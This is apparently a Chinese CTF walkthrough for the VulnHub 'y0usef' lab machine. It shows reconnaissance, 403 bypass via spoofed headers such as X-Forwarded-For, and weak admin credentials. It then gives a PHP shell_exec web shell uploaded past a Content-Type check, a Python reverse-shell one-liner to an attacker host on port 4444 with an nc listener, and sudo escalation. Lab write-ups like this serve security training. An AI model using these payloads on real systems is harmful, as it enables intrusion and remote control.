靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova
难度等级:低
打靶目标:取得 root 权限 + 2 Flag
一、信息收集
主机发现
1 | sudo arp-scan -l |
端口扫描
1 | sudo nmap -p- 192.168.137.233 |
服务探测
1 | sudo nmap -p22,80-sV -sC 192.168.137.233 |
二、漏洞发现
访问80端口
页面提示该网站正在建设中,但它已经在运行
查看源代码
也并未发现有帮助的信息
whatweb网站指纹识别
1 | whatweb http://192.168.137.233 |
dirsearch目录扫描
1 | dirsearch -u http://192.168.137.233 |
结果显示了大量403响应码,也就意味着目标服务器上存在这些目录/文件,但是因权限不足不能访问。
403错误是网站访问过程中,常见的错误提示。资源不可用,服务器理解客户的请求,但拒绝处理它。通常由于服务器上文件或目录的权限设置导致,比如IIS或者apache设置了访问权限不当。
访问http://192.168.137.233/adminstration/
可能网站的管理者对权限进行了一些限制管理,那接下来该如何解决403呢?
403Bypass
抓取页面请求的包发送到Burp内的Repeater
常见的4种403Bypass
使用旁站绕过403
例:
如下是一个正常的请求响应403过程
#Request
GET /auth/login HTTP/1.1
Host:www.abc.com #请求头
#Response
HTTP/1.1 403 Forbidden
针对旁站进行修改
#Request
GET /auth/login HTTP/1.1
Host: $xxx$.abc.com #替换主机名
#Response
HTTP/1.1 200 OK
说明:如果服务器在进行ACL访问控制时,对访问
http://IP/auth/login
是验证请求头Host,那么尝试修改其请求头Host的头部,服务器会认为是企业内部的另外一台机器对http://IP/auth/login
的正常访问,则可能利用此验证机制绕过403限制。
使用覆盖URL的方式绕过403
例:
如下是一个正常的请求响应403过程
#Request
GET /auth/login HTTP/1.1 #请求行
#Response
HTTP/1.1 403 Forbidden
覆盖URL
#Request
GET / HTTP/1.1
X-Original-URL: /auth/login #覆盖URL
#Response
HTTP/1.1 200 OK
说明:如果服务器在进行ACL访问控制时,对访问
http://IP/auth/login
是验证请求行URL,那么尝试添加非标准的HTTP头(例如X-Original-URL、X-Rewrite-URL),来覆盖/重写原始请求行中的URL,尝试使用该方法绕过403权限限制检查。
利用Referer头部绕过403
例:
如下是一个正常的请求响应403过程
#Request
GET /auth/login HTTP/1.1
#Response
HTTP/1.1 403 Forbidden
覆盖URL
#Request
GET / HTTP/1.1
Referer: https://IP/auth/login #来源页面
#Response
HTTP/1.1 200 OK
补充:也可以使用Referer头部(Referer包含一个URL,代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面。如
http://IP/login.php
,即代表用户从login.php来到当前页面),如果Referer头部内的URL是一个需要较高权限才可访问的URL,若服务器会根据Referer头部来判断的话,则会认为是已经验证过的权限用户,可直接访问当前要访问的页面,可借此绕过403.
利用反向代理绕过403
例:
如下是一个正常的请求响应403过程
#Request
GET /auth/login HTTP/1.1
Host: 192.168.137.233
#Response
HTTP/1.1 403 Forbidden
针对旁站进行修改
#Request
GET /auth/login HTTP/1.1
Host: 192.168.137.233
X-Originating-IP: 127.0.0.1 #代理本地
#Response
HTTP/1.1 200 OK
说明:如果服务器在进行ACL访问控制时,那么尝试添加非标准的HTTP头(例如X-Originating-IP、X-Remote-IP、X-Forwarded-For),来使服务器认为请求来自服务器本地,尝试使用该方法绕过403权限限制检查。
经过对以上4种方法的逐一尝试,最终利用反向代理绕过403
反向代理403Bypass
将其放入Intrueder中Forward包
页面跳转至登陆表单
文件上传
经过尝试发现该表单账号密码都为弱口令admin
尝试提交用户名密码并进行抓包(须在每一次请求时添加X-Forwarded-For绕过403)
进入了后台页面,发现好像有上传页面
写一句话木马a.php
1 | <?php $var=shell_exec($_GET['cmd']); echo $var ?> |
初次上传发现服务端有对上传文件的校验
经过尝试修改Content-Type即可绕过上传成功
访问a.php(上传后修改了名字)
http://192.168.137.233/adminstration/upload/files/1644983531a.php
记得添加X-Forwarded-For绕过403
页面访问成功为空
尝试执行命令
查看当前用户
为普通权限用户
三、提权
查看目标服务器上是否有python
反弹shell
构造payload
1 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.22",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
kali开启侦听
1 | nc -nvlp 4444 |
成功反弹shell
查看/etc/passwd文件
查看/home目录
拿到第一个flag
1 | c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM= |
SSH登陆
尝试base64解码
1 | ssh : |
解码完成后信息显示是ssh的账号密码(之前端口扫描确实存在22端口的ssh)
尝试连接
利用sudo提权
用户yousef有sudo权限
1 | sudo -l |
发现可以sudo执行所有命令
1 | sudo -s |
(这里提权太简单了..)